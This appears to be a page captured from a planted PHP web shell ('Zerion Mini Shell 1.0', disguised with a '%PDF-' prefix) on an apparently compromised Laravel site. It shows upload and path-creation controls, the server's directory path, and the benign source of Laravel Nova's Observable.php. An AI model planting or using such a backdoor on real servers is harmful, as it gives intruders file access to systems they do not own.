%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/vendor/laravel/nova/src/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/vendor/laravel/nova/src/Observable.php

<?php

namespace Laravel\Nova;

use Illuminate\Contracts\Events\Dispatcher;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Arr;
use InvalidArgumentException;

class Observable
{
    use Makeable;

    /**
     * Construct a new observable for an Eloquent model.
     *
     * @param  \Illuminate\Database\Eloquent\Model|string  $eloquent
     * @param  mixed  $classes
     */
    public function __construct($eloquent, $classes)
    {
        $model = is_string($eloquent) ? new $eloquent() : $eloquent;

        $dispatcher = $model->getEventDispatcher();

        foreach (Arr::wrap($classes) as $class) {
            $this->registerObserver($model, $dispatcher, $class);
        }
    }

    /**
     * Register a single observer with the model.
     *
     * @param  \Illuminate\Database\Eloquent\Model  $model
     * @param  \Illuminate\Contracts\Events\Dispatcher  $eventDispatcher
     * @param  object|string  $observer
     * @return void
     *
     * @throws \RuntimeException
     */
    protected function registerObserver(Model $model, Dispatcher $eventDispatcher, $observer)
    {
        $observerName = $this->resolveObserverClassName($observer);

        $name = get_class($model);

        foreach ($model->getObservableEvents() as $event) {
            if (method_exists($observer, $event)) {
                $eventDispatcher->listen("eloquent.{$event}: {$name}", $this->createCallbackForListenerOnServingNova($observerName, $event));
            }
        }
    }

    /**
     * Create a callable for dispatching a listener on Nova request.
     *
     * @param  mixed  $listener
     * @param  string  $method
     * @return \Closure
     */
    protected function createCallbackForListenerOnServingNova($listener, $method)
    {
        return function () use ($method, $listener) {
            $payload = func_get_args();

            return Nova::whenServing(function () use ($listener, $method, $payload) {
                return app()->make($listener)->$method(...$payload);
            });
        };
    }

    /**
     * Resolve the observer's class name from an object or string.
     *
     * @param  object|string  $class
     * @return string
     *
     * @throws \InvalidArgumentException
     */
    protected function resolveObserverClassName($class)
    {
        if (is_object($class)) {
            return get_class($class);
        }

        if (class_exists($class)) {
            return $class;
        }

        throw new InvalidArgumentException('Unable to find observer: '.$class);
    }
}

Zerion Mini Shell 1.0